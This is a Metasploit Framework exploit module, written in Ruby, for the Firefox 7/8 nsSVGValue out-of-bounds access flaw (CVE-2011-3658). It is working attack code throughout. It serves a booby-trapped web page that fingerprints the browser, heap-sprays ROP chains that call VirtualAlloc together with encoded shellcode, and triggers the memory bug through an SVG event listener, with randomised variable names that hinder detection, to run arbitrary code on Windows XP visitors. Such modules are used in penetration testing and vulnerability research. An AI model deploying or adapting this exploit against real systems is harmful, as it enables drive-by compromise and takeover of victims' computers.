Firefox 7 / 8<= 8.0.1 - nsSVGValue Out-of-Bounds Access Vulnerability



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Firefox 7/8 (<= 8.0.1) nsSVGValue Out-of-Bounds Access Vulnerability',
            'Description'    => %q{
                This module exploits an out-of-bounds access flaw in Firefox 7 and 8 (<= 8.0.1).
                The notification of nsSVGValue observers via nsSVGValue::NotifyObservers(x,y)
                uses a loop which can result in an out-of-bounds access to attacker-controlled memory.
                The mObserver ElementAt() function (which picks up pointers), does not validate
                if a given index is out of bound. If a custom observer of nsSVGValue is created,
                which removes elements from the original observer,
                and memory layout is manipulated properly, the ElementAt() function might pick up
                an attacker provided pointer, which can be leveraged to gain remote arbitrary
                code execution.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'regenrecht',                          #vulnerability discovery
                    'Lincoln<lincoln[at]corelan.be>',      #Metasploit module
                    'corelanc0d3r<peter.ve[at]corelan.be>' #Metasploit module
                ],
            'References'     =>
                [
                    [ 'CVE', '2011-3658' ],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-056/' ],
                    [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708186' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Payload'        =>
                {
                    'BadChars'       => "\x00\x0a\x0d\x34",
                    'DisableNops'    => true,
                    'PrependEncoder' => "\x81\xc4\x24\xfa\xff\xff"
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', {} ],
                    [
                        'Windows XP - Firefox 7',
                        {
                            'Ret'    => 0x0C0C0C0C,
                            'OffSet' => 0x606,
                            'Size'   => 0x40000,
                            'PopEax' => 0x7819e4b4, # POP EAX # RETN [MOZCRT19.dll]
                            'FF'     => 7,
                            'OS'     => 'XP'
                        }
                    ],
                    [
                        'Windows XP - Firefox 8 (<= 8.0.1)',
                        {
                            'Ret'    => 0x0C0C0C0C,
                            'OffSet' => 0x606,
                            'Size'   => 0x40000,
                            'PopEax' => 0x7819e504, # POP EAX # RETN [MOZCRT19.dll]
                            'FF'     => 8,
                            'OS'     => 'XP'
                        }
                    ]
                ],
            'DisclosureDate' => 'Dec 6 2011',
            'DefaultTarget'  => 0))

    end

    def autofilter
        false
    end

    def check_dependencies
        use_zlib
    end

    def junk(n=4)
        return rand_text_alpha_upper(n).unpack("L")[0].to_i
    end

    def nop
        return make_nops(4).unpack("L")[0].to_i
    end

    def get_rop_chain(ffversion,osversion)

        # mona.py ROP chains

        rop_chain = []

        if ffversion == 7 and osversion == "XP"

            rop_chain =
            [
                0x781a909c,     # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]
                0x7813aeed,     # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]
                0x78194774,     # PUSH EAX # POP ESI # POP EDI # POP EBP # POP EBX # RETN [MOZCRT19.dll]
                0x78139801,     # RETN (ROP NOP) [MOZCRT19.dll] -> edi
                0x78195375,     # & push esp #  ret  [MOZCRT19.dll] -> ebp
                0x00000001,     # 0x00000001-> ebx
                0x7819966e,     # POP EDX # RETN [MOZCRT19.dll]
                0x00001000,     # 0x00001000-> edx
                0x7813557f,     # POP ECX # RETN [MOZCRT19.dll]
                0x00000040,     # 0x00000040-> ecx
                0x781a4da8,     # POP EAX # RETN [MOZCRT19.dll]
                nop,            # nop
                0x7813d647,     # PUSHAD # RETN [MOZCRT19.dll]
            ].flatten.pack("V*")

        elsif ffversion == 8 and osversion == "XP"

            rop_chain =
            [
                0x781a909c,     # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]
                0x7813af5d,     # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]
                0x78197f06,     # XCHG EAX,ESI # RETN [MOZCRT19.dll]
                0x7814eef1,     # POP EBP # RETN [MOZCRT19.dll]
                0x781503c3,     # & call esp [MOZCRT19.dll]
                0x781391d0,     # POP EBX # RETN [MOZCRT19.dll]
                0x00000001,     # 0x00000001-> ebx
                0x781a147c,     # POP EDX # RETN [MOZCRT19.dll]
                0x00001000,     # 0x00001000-> edx
                0x7819728e,     # POP ECX # RETN [MOZCRT19.dll]
                0x00000040,     # 0x00000040-> ecx
                0x781945b5,     # POP EDI # RETN [MOZCRT19.dll]
                0x78152809,     # RETN (ROP NOP) [MOZCRT19.dll]
                0x7819ce58,     # POP EAX # RETN [MOZCRT19.dll]
                nop,            # nop
                0x7813d6b7,     # PUSHAD # RETN [MOZCRT19.dll]
            ].flatten.pack("V*")

        end

        return rop_chain
    end


    def on_request_uri(cli, request)
        # Re-generate the payload.
        return if ((p = regenerate_payload(cli)) == nil)

        # determine the target FF and OS version

        ffversion = ""
        osversion = ""

        agent = request.headers['User-Agent']

        if agent !~ /Firefox\/7\.0/ and agent !~ /Firefox\/8\.0/ and agent !~ /Firefox\/8\.0\.1/
            vprint_error("This browser version is not supported: #{agent.to_s}")
            send_not_found(cli)
            return
        end

        my_target = target
        if my_target.name == 'Automatic'
            if agent =~ /NT 5\.1/ and agent =~ /Firefox\/7/
                my_target = targets[1]
            elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/8/
                my_target = targets[2]
            elsif vprint_error("This Operating System is not supported: #{agent.to_s}")
                send_not_found(cli)
                return
            end
            target = my_target
        end

        # Create the payload
        print_status("Creating payload for #{target.name}")
        table =
        [
            0x0c0c0c0c,  # index
            0x0c0c0c0c,  # index
            0x0c0c0c0c,  # index
            0x7c45abdf   # Stack->Heap Flip XCHG EAX,ESP # ADD [EAX],EAX # ADD ESP,48h # RETN 28 [MOZCPP19.DLL]
        ].pack("V*")

        rop = rand_text_alpha_upper(56)
        rop << [ target['PopEax'] ].pack("V")
        rop << rand_text_alpha_upper(40)
        rop << get_rop_chain(target['FF'],target['OS'])

        # Encode table, chain and payload
        rop_js = Rex::Text.to_unescape(table+rop, Rex::Arch.endian(target.arch))

        code = payload.encoded
        code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))

        # random JavaScript variable names
        i_name                  = rand_text_alpha(rand(10) + 5)
        rop_name                = rand_text_alpha(rand(10) + 5)
        code_name               = rand_text_alpha(rand(10) + 5)
        offset_length_name      = rand_text_alpha(rand(10) + 5)
        randnum1_name           = rand_text_alpha(rand(10) + 5)
        randnum2_name           = rand_text_alpha(rand(10) + 5)
        randnum3_name           = rand_text_alpha(rand(10) + 5)
        randnum4_name           = rand_text_alpha(rand(10) + 5)
        paddingstr_name         = rand_text_alpha(rand(10) + 5)
        padding_name            = rand_text_alpha(rand(10) + 5)
        junk_offset_name        = rand_text_alpha(rand(10) + 5)
        single_sprayblock_name  = rand_text_alpha(rand(10) + 5)
        sprayblock_name         = rand_text_alpha(rand(10) + 5)
        varname_name            = rand_text_alpha(rand(10) + 5)
        thisvarname_name        = rand_text_alpha(rand(10) + 5)
        container_name          = rand_text_alpha(rand(10) + 5)
        tls_name                = rand_text_alpha(rand(10) + 5)
        tl_name                 = rand_text_alpha(rand(10) + 5)
        rect_name               = rand_text_alpha(rand(10) + 5)
        big_name                = rand_text_alpha(rand(10) + 5)
        small_name              = rand_text_alpha(rand(10) + 5)
        listener_name           = rand_text_alpha(rand(10) + 5)
        run_name                = rand_text_alpha(rand(10) + 5)
        svg_name                = rand_text_alpha(rand(10) + 5)
        atl_name                = rand_text_alpha(rand(10) + 5)
        addr_name               = rand_text_alpha(rand(10) + 5)
        trans_name              = rand_text_alpha(rand(10) + 5)
        matrix_name             = rand_text_alpha(rand(10) + 5)

        # corelan precise heap spray for Firefox >= 7
        # + trigger routine
        spray = <<-JS

        var #{rop_name} = unescape("#{rop_js}");
        var #{code_name} = unescape("#{code_js}");
        var #{offset_length_name} = #{target['OffSet']};

        for (var #{i_name}=0; #{i_name} < 0x300; #{i_name}++)
        {
            var #{randnum1_name}=Math.floor(Math.random()*90)+10;
            var #{randnum2_name}=Math.floor(Math.random()*90)+10;
            var #{randnum3_name}=Math.floor(Math.random()*90)+10;
            var #{randnum4_name}=Math.floor(Math.random()*90)+10;

            var #{paddingstr_name} = "%u" + #{randnum1_name}.toString() + #{randnum2_name}.toString();
            #{paddingstr_name} += "%u" + #{randnum3_name}.toString() + #{randnum4_name}.toString();

            var #{padding_name} = unescape(#{paddingstr_name});

            while (#{padding_name}.length < 0x1000) #{padding_name}+= #{padding_name};

            #{junk_offset_name} = #{padding_name}.substring(0, #{offset_length_name});

            var #{single_sprayblock_name} = #{junk_offset_name} + #{rop_name} + #{code_name};
            #{single_sprayblock_name} += #{padding_name}.substring(0,0x800 - #{offset_length_name} - #{rop_name}.length - #{code_name}.length);

            while (#{single_sprayblock_name}.length < #{target['Size']}) #{single_sprayblock_name} += #{single_sprayblock_name};

            #{sprayblock_name} = #{single_sprayblock_name}.substring(0, (#{target['Size']}-6)/2);

            #{varname_name} = "var" + #{randnum1_name}.toString() + #{randnum2_name}.toString();
            #{varname_name} += #{randnum3_name}.toString() + #{randnum4_name}.toString() + #{i_name}.toString();
            #{thisvarname_name} = "var " + #{varname_name} + "= '" + #{sprayblock_name} +"';";
            eval(#{thisvarname_name});
        }

        var #{container_name} = [];

        var #{tls_name} = [];
        var #{rect_name} = null;
        var #{big_name} = null;
        var #{small_name} = null;

        function #{listener_name}() {
            #{rect_name}.removeEventListener("DOMAttrModified", #{listener_name}, false);
            for each (#{tl_name} in #{tls_name})
            #{tl_name}.clear();

            for (#{i_name} = 0; #{i_name} < (1<<7); ++#{i_name})
                #{container_name}.push(unescape(#{big_name}));
            for (#{i_name} = 0; #{i_name} < (1<<22); ++#{i_name})
                #{container_name}.push(unescape(#{small_name}));
        }

        function #{run_name}() {
            var #{svg_name} = document.getElementById("#{svg_name}");
            #{rect_name} = document.getElementById("#{rect_name}");

            for (#{i_name} = 0; #{i_name} < (1<<13); ++#{i_name}) {
                #{rect_name} = #{rect_name}.cloneNode(false);
                var #{atl_name} = #{rect_name}.transform;
                var #{tl_name} = #{atl_name}.baseVal;
                #{tls_name}.push(#{tl_name});
            }

            const #{addr_name} = unescape("%u0c0c");
            #{big_name} = #{addr_name};
            while (#{big_name}.length != 0x1000)
            #{big_name} += #{big_name};

            #{small_name} = #{addr_name};
            while (#{small_name}.length != 15)
            #{small_name} += #{addr_name};

            var #{trans_name} = #{svg_name}.createSVGTransform();
            for each (#{tl_name} in #{tls_name})
                #{tl_name}.appendItem(#{trans_name});

            #{rect_name}.addEventListener("DOMAttrModified", #{listener_name}, false);
            var #{matrix_name} = #{svg_name}.createSVGMatrix();
            #{trans_name}.setMatrix(#{matrix_name});
        }
        JS

        # build html
        content = <<-HTML
        <html>
        <head>
        <meta http-equiv="refresh" content="3">
        <body>
        <script language='javascript'>
        #{spray}
        </script>
        </head>
        <body onload="#{run_name}();">
        <svg id="#{svg_name}">
        <rect id="#{rect_name}"    />
        </svg>
        </body>
        </html>
        HTML

        print_status("Sending HTML")

        # Transmit the response to the client
        send_response(cli, content, {'Content-Type'=>'text/html'})

    end

end